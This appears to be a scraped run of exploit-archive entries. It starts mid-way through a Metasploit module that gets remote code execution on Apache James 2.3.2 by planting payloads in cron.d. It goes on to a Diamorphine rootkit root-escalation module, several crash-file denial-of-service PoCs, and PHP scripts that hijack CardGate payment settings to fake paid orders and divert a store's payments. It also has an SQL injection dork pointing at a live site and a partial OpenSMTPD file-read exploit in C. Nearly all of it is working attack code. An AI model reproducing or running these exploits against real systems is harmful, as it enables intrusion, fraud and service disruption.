'EDB', '35513' ], [ 'URL', 'https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf' ] ], 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'Bash Completion', { 'ExploitPath' => 'bash_completion.d', 'ExploitPrepend' => '', 'DefaultOptions' => { 'DisablePayloadHandler' => true, 'WfsDelay' => 0 } } ], [ 'Cron', { 'ExploitPath' => 'cron.d', 'ExploitPrepend' => '* * * * * root ', 'DefaultOptions' => { 'DisablePayloadHandler' => false, 'WfsDelay' => 90 } } ] ], 'Privileged' => true, 'DisclosureDate' => "Oct 1 2015", 'DefaultTarget' => 1, 'CmdStagerFlavor'=> [ 'bourne', 'echo', 'printf', 'wget', 'curl' ] )) register_options( [ OptString.new('USERNAME', [ true, 'Root username for James remote administration tool', 'root' ]), OptString.new('PASSWORD', [ true, 'Root password for James remote administration tool', 'root' ]), OptString.new('ADMINPORT', [ true, 'Port for James remote administration tool', '4555' ]), OptString.new('POP3PORT', [false, 'Port for POP3 Apache James Service', '110' ]), Opt::RPORT(25) ]) import_target_defaults end def check # SMTP service check connect smtp_banner = sock.get_once disconnect unless smtp_banner.to_s.include? "JAMES SMTP Server" return CheckCode::Safe("Target port #{rport} is not a JAMES SMTP server") end # James Remote Administration Tool service check connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']}) admin_banner = sock.get_once disconnect unless admin_banner.to_s.include? "JAMES Remote Administration Tool" return CheckCode::Safe("Target is not JAMES Remote Administration Tool") end # Get version number version = admin_banner.scan(/JAMES Remote Administration Tool ([\d\.]+)/).flatten.first # Null check unless version return CheckCode::Detected("Could not determine JAMES Remote Administration Tool version") end # Create version objects target_version = Gem::Version.new(version) vulnerable_version = Gem::Version.new("2.3.2") # Check version number if target_version > vulnerable_version return CheckCode::Safe elsif target_version == vulnerable_version return CheckCode::Appears elsif target_version < vulnerable_version return CheckCode::Detected("Version #{version} of JAMES Remote Administration Tool may be vulnerable") end end def execute_james_admin_tool_command(cmd) username = datastore['USERNAME'] password = datastore['PASSWORD'] connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']}) sock.get_once sock.puts(username + "\n") sock.get_once sock.puts(password + "\n") sock.get_once sock.puts(cmd) sock.get_once sock.puts("quit\n") disconnect end def cleanup return unless target['ExploitPath'] == "cron.d" # Delete mail objects containing payload from cron.d username = "../../../../../../../../etc/cron.d" password = @account_password begin connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['POP3PORT']}) sock.get_once sock.puts("USER #{username}\r\n") sock.get_once sock.puts("PASS #{password}\r\n") sock.get_once sock.puts("dele 1\r\n") sock.get_once sock.puts("quit\r\n") disconnect rescue print_bad("Failed to remove payload message for user '../../../../../../../../etc/cron.d' with password '#{@account_password}'") end # Delete malicious user delete_user_command = "deluser ../../../../../../../../etc/cron.d\n" execute_james_admin_tool_command(delete_user_command) end def execute_command(cmd, opts = {}) # Create malicious user with randomized password (message objects for this user will now be stored in /etc/bash_completion.d or /etc/cron.d) exploit_path = target['ExploitPath'] @account_password = Rex::Text.rand_text_alpha(8..12) add_user_command = "adduser ../../../../../../../../etc/#{exploit_path} #{@account_password}\n" execute_james_admin_tool_command(add_user_command) # Send payload via SMTP payload_prepend = target['ExploitPrepend'] connect sock.puts("ehlo [email protected]\r\n") sock.get_once sock.puts("mail from: <'@apache.com>\r\n") sock.get_once sock.puts("rcpt to: <../../../../../../../../etc/#{exploit_path}>\r\n") sock.get_once sock.puts("data\r\n") sock.get_once sock.puts("From: [email protected]\r\n") sock.puts("\r\n") sock.puts("'\n") sock.puts("#{payload_prepend}#{cmd}\n") sock.puts("\r\n.\r\n") sock.get_once sock.puts("quit\r\n") sock.get_once disconnect end def execute_cmdstager_end(opts) if target['ExploitPath'] == "cron.d" print_status("Waiting for cron to execute payload...") else print_status("Payload will be triggered when someone logs onto the target") print_warning("You need to start your handler: 'handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}'") print_warning("After payload is triggered, delete the message and account of user '../../../../../../../../etc/bash_completion.d' with password '#{@account_password}' to fully clean up exploit artifacts.") end end def exploit execute_cmdstager(background: true) end end
-
SpotFTP-FTP Password Recover 2.4.8 - Denial of Service (PoC)
# Exploit Title: SpotFTP-FTP Password Recover 2.4.8 - Denial of Service (PoC) # Date: 2020-24-02 # Exploit Author: Ismael Nava # Vendor Homepage: http://www.nsauditor.com/ # Software Link: http://www.nsauditor.com/spotftp.html # Version: 2.4.8 # Tested on: Windows 10 Home x64 # CVE : n/a #STEPS # Open the program SpotFTP-FTP Password Recover # Run the python exploit script, it will create a new .txt files # Copy the content of the file "RandomLetter.txt" # Click in the Enter Registration Code # In the field Key put the content of the file "RandomLetter.txt" # End :) buffer = 'Z' * 1000 try: file = open("RandomLetter.txt","w") file.write(buffer) file.close() print("Archive ready") except: print("Archive no ready")
-
Diamorphine Rootkit - Signal Privilege Escalation (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Diamorphine Rootkit Signal Privilege Escalation', 'Description' => %q{ This module uses Diamorphine rootkit's privesc feature using signal 64 to elevate the privileges of arbitrary processes to UID 0 (root). This module has been tested successfully with Diamorphine from `master` branch (2019-10-04) on Linux Mint 19 kernel 4.15.0-20-generic (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'm0nad', # Diamorphine 'bcoles' # Metasploit ], 'DisclosureDate' => '2013-11-07', # Diamorphine first public commit 'References' => [ ['URL', 'https://github.com/m0nad/Diamorphine'] ], 'Platform' => ['linux'], 'Arch' => [ARCH_X86, ARCH_X64], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [['Auto', {}]], 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'DefaultTarget' => 0)) register_options [ OptInt.new('SIGNAL', [true, 'Diamorphine elevate signal', 64]) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def signal datastore['SIGNAL'].to_s end def base_dir datastore['WritableDir'].to_s end def upload_and_chmodx(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." write_file path, data chmod path, 0755 end def cmd_exec_elevated(cmd) vprint_status "Executing #{cmd} ..." res = cmd_exec("sh -c 'kill -#{signal} $$ && #{cmd}'").to_s vprint_line res unless res.blank? res end def check res = cmd_exec_elevated 'id' if res.include?('invalid signal') return CheckCode::Safe("Signal '#{signal}' is invalid") end unless res.include?('uid=0') return CheckCode::Safe("Diamorphine is not installed, or incorrect signal '#{signal}'") end CheckCode::Vulnerable("Diamorphine is installed and configured to handle signal '#{signal}'.") end def exploit unless check == CheckCode::Vulnerable unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end payload_name = ".#{rand_text_alphanumeric 8..12}" payload_path = "#{base_dir}/#{payload_name}" upload_and_chmodx payload_path, generate_payload_exe register_file_for_cleanup payload_path cmd_exec_elevated "#{payload_path} & echo " end end
-
aSc TimeTables 2020.11.4 - Denial of Service (PoC)
# Exploit Title: aSc TimeTables 2020.11.4 - Denial of Service (PoC) # Date: 2020-24-02 # Exploit Author: Ismael Nava # Vendor Homepage: https://www.asctimetables.com/#!/home # Software Link: https://www.asctimetables.com/#!/home/download # Version: 2020.11.4 # Tested on: Windows 10 Home x64 # CVE : n/a # STEPS # Open the program aSc Timetables 2020 # In File select the option New # Put any letter in the fiel Name of the Schooland click Next # In the next Windows click NEXT # In the Step 3, in Subject click in New # Run the python exploit script, it will create a new .txt files # Copy the content of the file "Tables.txt" # Paste the content in the field Subject title # Click in OK # End :) buffer = 'Z' * 1000 try: file = open("Tables.txt","w") file.write(buffer) file.close() print("Archive ready") except: print("Archive no ready")
-
Magento WooCommerce CardGate Payment Gateway 2.0.30 - Payment Process Bypass
# Exploit Title: Magento WooCommerce CardGate Payment Gateway 2.0.30 - Payment Process Bypass # Discovery Date: 2020-02-02 # Public Disclosure Date: 2020-02-22 # Exploit Author: GeekHack # Vendor Homepage: https://www.cardgate.com (www.curopayments.com) # Software Link: https://github.com/cardgate/magento2/releases/tag/v2.0.30 # Version: <= 2.0.30 # Tested on: Magento 2.3.4 + CardGate Payment Gateway Module 2.0.30 # CVE: CVE-2020-8818 <?php /* Description: Lack of origin authentication (CWE-346) at IPN callback processing function allow (even unauthorized) attacker to remotely replace critical plugin settings (merchant id, secret key etc) with known to him and therefore bypass payment process (eg. spoof order status by manually sending IPN callback request with a valid signature but without real payment) and/or receive all subsequent payments (on behalf of the store). [code ref: https://github.com/cardgate/magento2/blob/715979e54e1a335d78a8c5586f9e9987c3bf94fd/Controller/Payment/Callback.php#L88-L107] */ /* Usage: 1. Change values of the constants (see below for TARGET & ORDER*) 2. Host this script somewhere (must be public accessible) 3. Register a merchant at https://cardgate.com 4. Sign into "My CardGate" dashboard 5. Add fake site or choose existing one 6. Click "Setup your Webshop" button in site preferences 7. Paste the URL of this script into the pop-up window and click "Save" 8. The target store now uses the settings of your site, enjoy :] P.S. It works perfectly in both Staging and Live modes, regardless of the current mode of the target shop. */ // -------- Options (start) -------- define('TARGET', 'http://domain.tld'); // without trailing slash, pls define('ORDER', '000000001'); // provide non-zero value to automagically spoof order status define('ORDER_AMOUNT', 1.00); // provide a valid total (to bypass built-in fraud protection) define('ORDER_CURRENCY', 'USD'); // provide a valid currency (same goal as above) define('ORDER_PAYMENT_TYPE', 'sofortbanking'); // provide a valid payment type slug (optional) // --------- Options (end) --------- define('API_STAGING', 'https://secure-staging.curopayments.net/rest/v1/curo/'); define('API_PRODUCTION', 'https://secure.curopayments.net/rest/v1/curo/'); /** * Original function from CardGate API client library (SDK) with minor changes * @param string $sToken_ * @param bool $bTestmode_ * @return string */ function pullConfig($sToken_, $bTestmode_ = FALSE) { if (!is_string($sToken_)) { throw new Exception('invalid token for settings pull: ' . $sToken_); } $sResource = "pullconfig/{$sToken_}/"; $sUrl = ($bTestmode_ ? API_STAGING : API_PRODUCTION) . $sResource; $rCh = curl_init(); curl_setopt($rCh, CURLOPT_URL, $sUrl); curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1); curl_setopt($rCh, CURLOPT_TIMEOUT, 60); curl_setopt($rCh, CURLOPT_HEADER, FALSE); curl_setopt($rCh, CURLOPT_HTTPHEADER, [ 'Content-Type: application/json', 'Accept: application/json' ]); if ($bTestmode_) { curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0); } else { curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, TRUE); curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 2); } if (FALSE == ($sResults = curl_exec($rCh))) { $sError = curl_error($rCh); curl_close($rCh); throw new Exception('Client.Request.Curl.Error: ' . $sError); } else { curl_close($rCh); } if (NULL === ($aResults = json_decode($sResults, TRUE))) { throw new Exception('remote gave invalid JSON: ' . $sResults); } if (isset($aResults['error'])) { throw new Exception($aResults['error']['message']); } return $aResults; } /** * Original function from CardGate API client library (SDK) with minor changes * @param string $sUrl * @param array $aData_ * @param string $sHttpMethod_ * @return string */ function doRequest($sUrl, $aData_ = NULL, $sHttpMethod_ = 'POST') { if (!in_array($sHttpMethod_, ['GET', 'POST'])) { throw new Exception('invalid http method: ' . $sHttpMethod_); } $rCh = curl_init(); curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1); curl_setopt($rCh, CURLOPT_TIMEOUT, 60); curl_setopt($rCh, CURLOPT_HEADER, FALSE); curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0); if ('POST' == $sHttpMethod_) { curl_setopt($rCh, CURLOPT_URL, $sUrl); curl_setopt($rCh, CURLOPT_POST, TRUE); curl_setopt($rCh, CURLOPT_POSTFIELDS, http_build_query($aData_)); } else { $sUrl = $sUrl . (FALSE === strchr($sUrl, '?') ? '?' : '&') . http_build_query($aData_) ; curl_setopt($rCh, CURLOPT_URL, $sUrl); } $response = curl_exec($rCh); if (FALSE == $response) { $sError = curl_error($rCh); curl_close($rCh); throw new Exception('Client.Request.Curl.Error: ' . $sError); } else { curl_close($rCh); } return $response; } if (!empty($_REQUEST['cgp_sitesetup']) && !empty($_REQUEST['token'])) { try { $aResult = pullConfig($_REQUEST['token'], $_REQUEST['testmode']); $aConfigData = $aResult['pullconfig']['content']; $response = doRequest(TARGET . '/cardgate/payment/callback', $_REQUEST, 'GET'); if ($response == $aConfigData['merchant_id'] . '.' . $aConfigData['site_id'] . '.200') { if (ORDER) { $payload = [ 'testmode' => $_REQUEST['testmode'], 'reference' => ORDER, 'transaction' => 'T' . str_pad(time(), 11, random_int(0, 9)), 'currency' => ORDER_CURRENCY, 'amount' => ORDER_AMOUNT * 100, 'status' => 'success', 'code' => 200, 'pt' => ORDER_PAYMENT_TYPE ]; $payload['hash'] = md5( (!empty($payload['testmode']) ? 'TEST' : '') . $payload['transaction'] . $payload['currency'] . $payload['amount'] . $payload['reference'] . $payload['code'] . $aConfigData['site_key'] ); $response = doRequest(TARGET . '/cardgate/payment/callback', $payload, 'GET'); if ($response == $payload['transaction'] . '.' . $payload['code']) { die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200'); } else { throw new Exception("Unable to spoof order status, but merchant settings was updated successfully ($response)"); } } else { die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200'); } } else { throw new Exception("It seems target is not vulnerable ($response)"); } } catch (\Exception $oException_) { die(htmlspecialchars($oException_->getMessage())); } }
-
WordPress Plugin WooCommerce CardGate Payment Gateway 3.1.15 - Payment Process Bypass
# Exploit Title: WordPress Plugin WooCommerce CardGate Payment Gateway 3.1.15 - Payment Process Bypass # Discovery Date: 2020-02-02 # Public Disclosure Date: 2020-02-22 # Exploit Author: GeekHack # Vendor Homepage: https://www.cardgate.com (www.curopayments.com) # Software Link: https://github.com/cardgate/woocommerce/releases/tag/v3.1.15 # Version: <= 3.1.15 # Tested on: WordPress 5.3.2 + WooCommerce 3.9.1 + CardGate Payment Gateway Plugin 3.1.15 # CVE: CVE-2020-8819 <?php /* Description: Lack of origin authentication (CWE-346) at IPN callback processing function allow (even unauthorized) attacker to remotely replace critical plugin settings (merchant id, secret key etc) with known to him and therefore bypass payment process (eg. spoof order status by manually sending IPN callback request with a valid signature but without real payment) and/or receive all subsequent payments (on behalf of the store). [code ref: https://github.com/cardgate/woocommerce/blob/f2111af7b1a3fd701c1c5916137f3ac09482feeb/cardgate/cardgate.php#L426-L442] */ /* Usage: 1. Change values of the constants (see below for TARGET & ORDER) 2. Host this script somewhere (must be public accessible) 3. Register a merchant at https://cardgate.com 4. Sign into "My CardGate" dashboard 5. Add fake site or choose existing one 6. Click "Setup your Webshop" button in site preferences 7. Paste the URL of this script into the pop-up window and click "Save" 8. The target store now uses the settings of your site, enjoy :] P.S. It works perfectly in both Staging and Live modes, regardless of the current mode of the target shop. */ // -------- Options (start) -------- define('TARGET', 'http://domain.tld'); // without trailing slash, pls define('ORDER', 0); // provide non-zero value to automagically spoof order status // --------- Options (end) --------- define('API_STAGING', 'https://secure-staging.curopayments.net/rest/v1/curo/'); define('API_PRODUCTION', 'https://secure.curopayments.net/rest/v1/curo/'); /** * Original function from CardGate API client library (SDK) with minor changes * @param string $sToken_ * @param bool $bTestmode_ * @return string */ function pullConfig($sToken_, $bTestmode_ = FALSE) { if (!is_string($sToken_)) { throw new Exception('invalid token for settings pull: ' . $sToken_); } $sResource = "pullconfig/{$sToken_}/"; $sUrl = ($bTestmode_ ? API_STAGING : API_PRODUCTION) . $sResource; $rCh = curl_init(); curl_setopt($rCh, CURLOPT_URL, $sUrl); curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1); curl_setopt($rCh, CURLOPT_TIMEOUT, 60); curl_setopt($rCh, CURLOPT_HEADER, FALSE); curl_setopt($rCh, CURLOPT_HTTPHEADER, [ 'Content-Type: application/json', 'Accept: application/json' ]); if ($bTestmode_) { curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0); } else { curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, TRUE); curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 2); } if (FALSE == ($sResults = curl_exec($rCh))) { $sError = curl_error($rCh); curl_close($rCh); throw new Exception('Client.Request.Curl.Error: ' . $sError); } else { curl_close($rCh); } if (NULL === ($aResults = json_decode($sResults, TRUE))) { throw new Exception('remote gave invalid JSON: ' . $sResults); } if (isset($aResults['error'])) { throw new Exception($aResults['error']['message']); } return $aResults; } /** * Original function from CardGate API client library (SDK) with minor changes * @param string $sUrl * @param array $aData_ * @param string $sHttpMethod_ * @return string */ function doRequest($sUrl, $aData_ = NULL, $sHttpMethod_ = 'POST') { if (!in_array($sHttpMethod_, ['GET', 'POST'])) { throw new Exception('invalid http method: ' . $sHttpMethod_); } $rCh = curl_init(); curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1); curl_setopt($rCh, CURLOPT_TIMEOUT, 60); curl_setopt($rCh, CURLOPT_HEADER, FALSE); curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0); if ('POST' == $sHttpMethod_) { curl_setopt($rCh, CURLOPT_URL, $sUrl); curl_setopt($rCh, CURLOPT_POST, TRUE); curl_setopt($rCh, CURLOPT_POSTFIELDS, http_build_query($aData_)); } else { $sUrl = $sUrl . (FALSE === strchr($sUrl, '?') ? '?' : '&') . http_build_query($aData_) ; curl_setopt($rCh, CURLOPT_URL, $sUrl); } $response = curl_exec($rCh); if (FALSE == $response) { $sError = curl_error($rCh); curl_close($rCh); throw new Exception('Client.Request.Curl.Error: ' . $sError); } else { curl_close($rCh); } return $response; } if (!empty($_REQUEST['cgp_sitesetup']) && !empty($_REQUEST['token'])) { try { $aResult = pullConfig($_REQUEST['token'], $_REQUEST['testmode']); $aConfigData = $aResult['pullconfig']['content']; $response = doRequest(TARGET, $_REQUEST); if ($response == $aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200') { if (ORDER) { $payload = [ 'testmode' => $_REQUEST['testmode'], 'reference' => random_int(10000000000, 99999999999) . ORDER, 'transaction' => 'T' . str_pad(time(), 11, random_int(0, 9)), 'currency' => '', 'amount' => 0, 'status' => 'success', 'code' => 200 ]; $payload['hash'] = md5( (!empty($payload['testmode']) ? 'TEST' : '') . $payload['transaction'] . $payload['currency'] . $payload['amount'] . $payload['reference'] . $payload['code'] . $aConfigData['site_key'] ); $response = doRequest(TARGET . '/?cgp_notify=true', $payload); if ($response == $payload['transaction'] . '.' . $payload['code']) { die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200'); } else { throw new Exception("Unable to spoof order status, but merchant settings was updated successfully ($response)"); } } else { die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200'); } } else { throw new Exception("It seems target is not vulnerable ($response)"); } } catch (\Exception $oException_) { die(htmlspecialchars($oException_->getMessage())); } }
-
Odin Secure FTP Expert 7.6.3 - Denial of Service (PoC)
# Exploit Title : Odin Secure FTP Expert 7.6.3 - Denial of Service (PoC) # Exploit Author : Berat Isler # Date : 2020-02-25 # Vendor Homepage : https://odin-secure-ftp-expert.jaleco.com/ # Software Link Download : http://tr.oldversion.com/windows/odin-secure-ftp-expert-7-6-3 # Version : Odin Secure FTP Expert 7.6.3 # Tested on : Windows 7 32-bit # First step , run exploit script, it will generate a new file with the name "bune.txt" # Then start Odin Secure FTP application and find the "connect" tab . After that you can click Quickconnect site tab. # After that paste the content of "bune.txt" in to the all fields like this --> "AAAAAA" than click connect button # Application will be crash . This is the generated payload code : #!/usr/bin/python bune = "A" * 6000 payload = bune try: f=open("bune.txt","w") print "[+] Creating %s bytes payload generated .. .. .." %len(payload) f.write(payload) f.close() print "[+] File created " except: print "File cannot be created"
-
PhpIX 2012 Professional - 'id' SQL Injection
# Title: PhpIX 2012 Professional - 'id' SQL Injection # Date: 2020-02-26 # Author: indoushka # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit) # Vendor : http://www.allhandsmarketing.com/ # poc : [+] Dorking İn Google Or Other Search Enggine. [+] /product_detail.php?id=448578 <====| inject here [+] http://www.pcollectionnecktie.com/sandbox/ <====| Login Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* | | =======================================================================================================================================
-
Core FTP LE 2.2 - Denial of Service (PoC)
# Exploit Title: Core FTP LE 2.2 - Denial of Service (PoC) # Date: 2020-25-02 # Exploit Author: Ismael Nava # Vendor Homepage: http://www.coreftp.com/ # Software Link: http://www.coreftp.com/download.html # Version: 2.2 build 1947 # Tested on: Windows 10 Home x64 # CVE : n/a #STEPS # Open the program Core FTP LE # In File select the option Connect # Click in the option Advanced from the fiel Host / IP / URL # Run the python exploit script, it will create a new .txt files # Copy the content of the file "Dog.txt" # Paste the content in the field Account # Click in OK # After Core FTP lE closed, the program did not work again if the user try to # open again, so it is necessary uninstall and install again # End :) buffer = 'R' * 20000 try: file = open("Dog.txt","w") file.write(buffer) file.close() print("Archive ready") except: print("Archive no ready")
-
OpenSMTPD 6.6.3 - Arbitrary File Read
# Title: OpenSMTPD 6.6.3 - Arbitrary File Read # Date: 2020-02-20 # Author: qualys # Vendor: https://www.opensmtpd.org/ # CVE: 2020-8793 /* * Local information disclosure in OpenSMTPD (CVE-2020-8793) * Copyright (C) 2020 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ #include <sys/types.h> #include <sys/param.h> #include <sys/stat.h> #include <sys/sysctl.h> #include <sys/wait.h> #include <errno.h> #include <fcntl.h> #include <fts.h> #include <limits.h> #include <pwd.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define P_SUSPSIG 0x08000000 /* Stopped from signal. */ #define PATH_SPOOL "/var/spool/smtpd" #define PATH_OFFLINE "/offline" #define OFFLINE_QUEUEMAX 5 #define die() do { \ printf("died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const char * const * create_files(const size_t n_files) { size_t f; for (f = 0; f < n_files; f++) { char file[] = PATH_SPOOL PATH_OFFLINE "/0.XXXXXXXXXX"; const int fd = mkstemp(file); if (fd <= -1) die(); if (file[sizeof(file)-1] != '\0') die(); file[sizeof(file)-1] = '\n'; if (write(fd, file, sizeof(file)) != (ssize_t)sizeof(file)) die(); if (close(fd) != 0) die(); } const char ** const files = calloc(n_files, sizeof(char *)); if (files == NULL) die(); char * const paths[] = { PATH_SPOOL PATH_OFFLINE, NULL }; FTS * const fts = fts_open(paths, FTS_PHYSICAL | FTS_NOCHDIR, NULL); if (fts == NULL) die(); for (f = 0; ; ) { const FTSENT * const ent = fts_read(fts); if (ent == NULL) break; if (ent->fts_name[0] != '0') continue; if (ent->fts_name[1] != '.') continue; if (ent->fts_info != FTS_F) die(); if (ent->fts_level != 1) die(); if (ent->fts_statp->st_gid != ent->fts_parent->fts_statp->st_gid) die(); if (ent->fts_statp->st_size <= 0) die(); const char * const file = strdup(ent->fts_path); if (file == NULL) die(); if (f >= n_files) die(); files[f++] = file; } if (f != n_files) die(); if (fts_close(fts) != 0) die(); if (truncate(files[n_files - 1], 0) != 0) die(); return files; } static void wait_sentinel(const char * const * const files, const size_t n_files) { for (;;) { struct stat sb; if (lstat(files[n_files - 1], &sb) != 0) { if (errno != ENOENT) die(); return; } if (!S_ISREG(sb.st_mode)) die(); if (sb.st_size != 0) die(); } die(); } static void kill_wait(const pid_t pid) { if (kill(pid, SIGKILL) != 0) die(); int status = 0; if (waitpid(pid, &status, 0) != pid) die(); if (!WIFSIGNALED(status)) die(); if (WTERMSIG(status) != SIGKILL) die(); } typedef struct { int stop; pid_t pid; int fd; } t_stopper; static t_stopper fork_stopper(const uid_t uid) { const int stop = (uid == getuid()); int fds[2]; if (pipe(fds) != 0) die(); const pid_t pid = fork(); if (pid <= -1) die(); const int fd = fds[!pid]; if (close(fds[!!pid]) != 0) die(); if (pid != 0) { const t_stopper stopper = { .stop = stop, .pid = pid, .fd = fd }; return stopper; } int proc_mib[] = { CTL_KERN, KERN_PROC, KERN_PROC_RUID, uid, sizeof(struct kinfo_proc), 0 }; size_t proc_len = 0; if (sysctl(proc_mib, 6, NULL, &proc_len, NULL, 0) == -1) die(); if (proc_len <= 0) proc_len = sizeof(struct kinfo_proc); if (proc_len > ((size_t)1 << 20)) die(); const size_t proc_max = 0x10 * proc_len; void * const proc_buf = malloc(proc_max); if (proc_buf == NULL) die(); if (proc_mib[5] != 0) die(); proc_mib[5] = proc_max / sizeof(struct kinfo_proc); for (;;) { proc_len = proc_max; if (sysctl(proc_mib, 6, proc_buf, &proc_len, NULL, 0) == -1) die(); if (proc_len <= 0) { if (stop) die(); continue; } if (proc_len >= proc_max) die(); const struct kinfo_proc * kp; if (proc_len % sizeof(*kp) != 0) die(); for (kp = proc_buf; kp != proc_buf + proc_len; kp++) { if (*(const uint64_t *)kp->p_comm != *(const uint64_t *)"smtpctl") continue; if (kp->p_flag & P_SUSPSIG) continue; const pid_t pid = kp->p_pid; if (stop && kill(pid, SIGSTOP) != 0) continue; const int argv_mib[] = { CTL_KERN, KERN_PROC_ARGS, pid, KERN_PROC_ARGV }; static char argv_buf[ARG_MAX]; size_t argv_len = sizeof(argv_buf); if (sysctl(argv_mib, 4, argv_buf, &argv_len, NULL, 0) == -1) { continue; } if (argv_len <= sizeof(char *)) { if (stop) die(); continue; } if (argv_len >= sizeof(argv_buf)) die(); const char * const * const av = (const void *)argv_buf; size_t ac; for (ac = 0; av[ac] != NULL; ac++) { switch (ac) { case 0: if (strcmp(av[ac], "sendmail") != 0) die(); continue; case 1: if (strcmp(av[ac], "-S") != 0) die(); continue; case 2: if (stop) { if (strncmp(av[ac], PATH_SPOOL PATH_OFFLINE, sizeof(PATH_SPOOL PATH_OFFLINE)-1) != 0) die(); static const char ** stopped; static size_t i_stopped, n_stopped; size_t i; for (i = 0; i < i_stopped; i++) { if (strcmp(av[ac], stopped[i]) == 0) break; } if (i < i_stopped) break; if (i != i_stopped) die(); if (i_stopped >= n_stopped) { if (i_stopped != n_stopped) die(); if (n_stopped > ((size_t)1 << 20)) die(); n_stopped += ((size_t)1 << 10); stopped = reallocarray(stopped, n_stopped, sizeof(*stopped)); if (stopped == NULL) die(); } if (i_stopped >= n_stopped) die(); stopped[i_stopped] = strdup(av[ac]); if (stopped[i_stopped] == NULL) die(); i_stopped++; } const size_t len = strlen(av[ac]) + 1; if (write(fd, &pid, sizeof(pid)) != (ssize_t)sizeof(pid)) die(); if (write(fd, av[ac], len) != (ssize_t)len) die(); break; default: die(); } break; } } } die(); } static void kill_stopper(const t_stopper stopper) { kill_wait(stopper.pid); if (close(stopper.fd) != 0) die(); } typedef struct { int kill; pid_t pid; char * args; } t_stopped; static t_stopped wait_stopped(const t_stopper stopper) { pid_t pid = 0; if (read(stopper.fd, &pid, sizeof(pid)) != (ssize_t)sizeof(pid)) die(); if (pid <= 0) die(); static char buf[ARG_MAX]; size_t len = 0; for (;;) { if (len >= sizeof(buf)) die(); const ssize_t nbr = read(stopper.fd, buf + len, 1); if (nbr <= 0) die(); len += nbr; if (buf[len - 1] == '\0') break; } if (len <= 0) die(); if (memchr(buf, '\0', len) != buf + len - 1) die(); char * const args = strdup(buf); if (args == NULL) die(); const t_stopped stopped = { .kill = stopper.stop, .pid = pid, .args = args }; return stopped; } static void kill_free_stopped(const t_stopped stopped) { if (stopped.kill && kill(stopped.pid, SIGKILL) != 0) die(); free(stopped.args); } static void make_stopper_file(const char * const file) { const off_t file_size = (off_t)1 << 30; const off_t line_size = (off_t)1 << 20; struct stat sb; if (lstat(file, &sb) != 0) die(); if (!S_ISREG(sb.st_mode)) die(); if (sb.st_size <= 0) die(); if (sb.st_size >= line_size) { if (sb.st_size > file_size) return; die(); } const int fd = open(file, O_WRONLY | O_NOFOLLOW, 0); if (fd <= -1) die(); off_t l; for (l = 1; l <= file_size / line_size; l++) { if (lseek(fd, line_size, SEEK_END) <= l * line_size) die(); if (write(fd, "\n", 1) != 1) die(); } if (close(fd) != 0) die(); } static size_t find_stopped_file(const char * const * const files, const size_t n_files, const t_stopped stopped) { size_t f; for (f = 0; f < n_files; f++) { if (strcmp(files[f], stopped.args) == 0) { if (f >= n_files - 1) die(); return f; } } die(); } static void disclose_masterpasswd(const size_t n_files) { if (getuid() == 0) die(); const char * const * const files = create_files(n_files); size_t i; for (i = 0; i < n_files - 1; i++) { make_stopper_file(files[i]); } 